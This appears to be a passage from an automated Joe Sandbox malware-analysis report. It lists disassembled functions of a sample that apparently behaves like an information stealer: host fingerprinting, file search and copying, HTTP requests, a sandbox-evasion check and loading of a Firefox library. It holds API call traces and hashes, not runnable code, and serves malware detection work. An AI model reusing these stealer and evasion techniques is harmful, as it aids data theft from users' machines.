Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 56a5cc5f625808877023b0fd7aaa37bf15a2ec62f2c2cab451d14b7958c2b5f4
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024E4A20,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,024E4A20,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,0250BE58), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,0250B6D0,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: 58d2b9f8748834604f24f38fd7cdd392fe5c4ffa99ef35d538bd2fc66a2a16af
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,02506E78), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: d9a7bb441cace2264c65b2c89e45308c98edaaf84c68a629cbd2b1765e33ed5e
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,0250AF48), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,02506CD8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 2104210347-3392445751
Opcode ID: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: e73a277ec495b34ed2bd4af22877a3a9feb46bd0b7d201f2f977525177bc6704
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CB33060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CB33095

Part of subcall function 6CB335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CBBF688,00001000), ref: 6CB335D5
Part of subcall function 6CB335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CB335E0
Part of subcall function 6CB335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CB335FD
Part of subcall function 6CB335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CB3363F
Part of subcall function 6CB335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CB3369F
Part of subcall function 6CB335A0: __aulldiv.LIBCMT ref: 6CB336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB3309F

Part of subcall function 6CB55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB556EE,?,00000001), ref: 6CB55B85
Part of subcall function 6CB55B50: EnterCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55B90
Part of subcall function 6CB55B50: LeaveCriticalSection.KERNEL32(6CBBF688,?,?,?,6CB556EE,?,00000001), ref: 6CB55BD8
Part of subcall function 6CB55B50: GetTickCount64.KERNEL32 ref: 6CB55BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CB330BE

Part of subcall function 6CB330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CB33127
Part of subcall function 6CB330F0: __aulldiv.LIBCMT ref: 6CB33140

Part of subcall function 6CB6AB2A: __onexit.LIBCMT ref: 6CB6AB30

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction ID: 2ebfece716d82d0408f55ff379d9bd015a24134350b3eb38152f963f9e0fcd12
Opcode Fuzzy Hash: afd1103e89250932d3b15dca893e946d4d6538678e8a20aac6aa07e7e894b1be
Instruction Fuzzy Hash: 15F0F91AE2078996CA10DF7888515EA7374AF6B114F50131AEC4963521FF2061D8C399

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 904f881645263b8d6980a0d5e63786ab633fa25ddeb60b9bffeff93c14b2dbd8
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0250AD68,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,0250AD68,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

